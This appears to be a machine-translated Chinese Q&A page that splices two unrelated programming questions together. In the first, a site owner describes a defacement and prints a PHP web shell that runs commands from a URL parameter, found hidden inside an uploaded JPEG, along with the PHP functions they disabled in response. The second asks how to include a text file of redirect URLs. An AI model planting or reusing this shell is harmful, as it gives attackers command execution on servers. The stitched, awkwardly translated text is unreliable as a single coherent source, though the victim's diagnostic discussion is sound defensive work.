昨天我的网站被组成了.攻击者将index.php文件更改为自己的文件(带有所有荣耀消息和问候语).我已经通知了托管公司(我们在专用服务器上运行),就我而言,我正在尝试修复任何看起来很重要的原因,因为我仍然无法指出我们究竟是怎么做到的.服务器遭到攻击,但我认为我发现某些基于脚本的漏洞可能是罪魁祸首.
我们的网站有一个图像上传器表单,但是如果它们确实是图像文件而不是某些代码,则使用php getimagesize函数验证所有上传的图像.仅当图像类型为IMAGETYPE_GIF或IMAGETYPE_JPEG或IMAGETYPE_PNG时才会接受它们.否则,他们将无法上传文件.但是我发现一个上传的图像文件里面包含一个php脚本!您可以在此处下载图像.这是一个有效的图像文件,但尝试使用任何文本编辑器打开图像,你会在其中找到一个PHP代码:
<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>
Run Code Online (Sandbox Code Playgroud)
例如,图像上传到此位置(www.mysite.com/uploads/picodes.jpg).请注意,文件夹上传的权限是755.攻击者是否有任何方法可以执行系统(或任何其他命令,如passthru,因为我们发现另一个图像具有与上面相同的代码隐藏,但不是系统,它有passthru命令),例如,键入www.mysite.com/uploads/picodes.jpg?cmd=some命令 ?? 根据我的知识,它无法完成(真的很感激,如果有人可以证明我错了),除非攻击者可以将jpg文件重命名为php,即便如此,这些代码仍隐藏在图像内部(请参阅里面的图像文本编辑器,以了解我想说的是什么)
为了预防,我已经通过在php.ini中的disable_functions上添加它们来禁用这些php函数(exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system).
无论如何,我仍然认为攻击者不是通过网络获取访问权限,而是通过服务器利用,但我认为我的托管公司不这么认为.
我正在制作一个网页,只需在页面加载时重定向到其他网站列表中的一个.为了能够更轻松地编辑网站列表,我将列表移动到单独的文本文档中.将文件包含在PHP代码中后,浏览器会在包含结束时恢复解析HTML并再次返回.结果,我的代码被打印到屏幕而不是执行.我无法在文本文件中实现PHP标头和标签,因为这会使其保持外部的目的.现在我有了另一个脚本,如果我想添加它们,我可以将链接添加到文件中.
index.php,我正在使用的文件
<?php
$array_content = array(include 'sites.txt');
header("location: ".$array_content[rand(0,9)]);
?>
Run Code Online (Sandbox Code Playgroud)
sites.txt,我包含的文件
"http://www.nsa.gov/"
,"http://www.youtube.com/watch?v=oHg5SJYRHA0"
,"http://leekspin.com/"
Run Code Online (Sandbox Code Playgroud)
有没有办法只将文本文件插入index.php,而不将其打印到屏幕上?